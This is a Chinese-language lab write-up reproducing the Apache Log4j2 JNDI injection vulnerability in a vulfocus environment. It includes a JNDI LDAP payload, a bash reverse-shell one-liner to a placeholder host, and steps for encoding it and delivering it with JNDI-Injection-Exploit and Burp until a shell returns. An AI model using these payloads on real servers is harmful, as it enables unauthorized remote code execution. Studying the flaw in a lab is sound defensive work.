声明
本篇文章仅用于技术研究与漏洞复现学习,切勿将文章攻击方法用于未经授权的实战测试中,造成任何后果与本文和作者无关!
一、产品简介
Apache Log4j2是一个·基于Java的日志记录工具,该工具重写了Log4j框架,并且引入大量丰富的特性,该日志框架被大量用于业务系统开发,用来记录日志信息。
二、漏洞概述
由于Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。
三、影响范围
- Apache Log4j2 2.0-beta9 到 2.15.0
四、漏洞复现
以vulfocus靶场环境测试
打开靶场界面
Burp抓包,直接使用payload进行测试,看dnslog是否有回显 payload: ${jndi:ldap://X.X.X.X/TomcatBypass/TomcatEcho}
Dnslog平台有数据回显,既然有回显,那就直接实战反弹Shell。
接下来用到的工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
(github下载)
说到反弹Shell,这里首先想到用到 bash -i >& /dev/tcp/X.X.X.X/X 0>&1
,但是这里不能直接使用,需要将payoad进行base64加密,然后使用bash命令去执行
推荐一个加密网站:https://www.bugku.net/runtime-exec-payloads/
上面输入反弹bash命令,下面将显示加密后的payload。
将这段bash命令直接应用到JNDIExploit工具上,执行后的界面如下:
这里JNDI Links 是根据当前实验环境去选择执行的payload
在vps上建立一个监听
回到burp上,直接使用payload进行测试,这里要记得将payload进行URL编码,因为这里是GET请求,直接在burp里的Decoder模块中进行编码转换
将编码后的 payload 放到 repeater 中 send发送
Vps有大量回显数据,再来看监听的端口,已经成功反弹Shell
五、修复手段
更新至官方最新版本!